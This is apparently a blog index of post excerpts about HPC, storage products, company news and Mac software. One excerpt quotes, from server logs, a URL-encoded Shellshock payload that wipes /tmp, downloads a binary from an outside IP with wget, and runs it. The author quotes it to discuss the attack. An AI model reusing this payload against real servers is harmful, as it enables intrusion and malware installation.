Have a look at the page. Blekko was started by a number of people including Greg Lindahl having spent many years in the HPC world. He’s another recovering physical scientist (astronomer as I remember). This is interesting as it gives a sense as to where IBM sees its future. They aren’t (it looks like to … Read moreM&A: Blekko grabbed by IBM for Watson
This is a very exciting hyper-converged system, representing our next generation of time series, and big data analytical systems. Tremendous internal bandwidths coupled with massive internal parallelism, and minimal latency design on networks. This unit has been designed to focus upon delivering the maximal performance possible in an as minimal footprint … both rack based … Read moreThe worlds fastest hyper-converged appliance is faster and more affordable than ever
Our Q1 is usually quiet, fairly low key. Not this one. Looks like lots of pent up demand. We are deep into record territory, running 200+% of normal, with possibility of more. Another new wrinkle is that our small investment round is mostly complete. This is new territory for us, and you may have noticed … Read moreInteresting Q1 so far for day job
I like Π … apple, cherry, etc. For those whom don’t get the pun, dates in the US are often written as Month/Day/Year, with year being abbreviated by 2 digits. So with this formatting, today is 3/14/15, or roughly the first 5 digits of Π, which is defined to be the ratio of circumference to … Read moreΠ day has come
I saw this attack in the day job’s web server logs today. From IP address 220.127.116.11, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload. ()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://18.104.22.168:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP … Read moreHas Alibaba been compromised?
contact management across multiple devices/OSes/applications. Yeah, I know, just use iCloud/Gmail/etc. Except they are all broken. And not a little bit. I rely upon one, consistent, correct contact list that has email, phone, etc. for all the people I know and communicate with. In years past, I’ve had this list sync back and forth to … Read moreA completely unsolved problem
Its nice to hear success stories from our customers. In this case, our friends and customers at Milford Film and Animation have been using our systems for a number of years to provide the basis for their storage efforts. Their systems are very computationally, network, and IO intensive. There is a tremendous amount of rendering, … Read moreScalable Informatics customer Milford Film and Animation does awesome projects
Karabiner If you switch back and forth between Linux and Mac on same keyboard, this is an absolute must have. From my perspective, the keys in Mac are horribly borked. Home and End do not do what I expect. Control-Anything doesn’t work except in exceptional cases. iTerm2 (also very good Mac software) largely does the … Read moreMy vote for most awesome Mac OSX software
[full disclosure: day job has a relationship with Diablo] Russell just pointed this out to me. The short (pedestrian) version (I’ve got no information that is not public, so I can’t disclose something I don’t know anyway): Netlist filed a patent infringement suit against Diablo, and then included SanDisk as they bought Smart Storage, whom … Read moreMemory channel flash: is it over?
Interesting development from SanDisk. Not quite an M&A bit, but an attempt at accelerating adoption of non-spinning storage by bringing out a proof of concept product in a few flavors. They are aiming at $2/GB for this system. This is an array product though, so you need to attach it to a set of servers. … Read moreNew all-flash-array: SanDisk's Infiniflash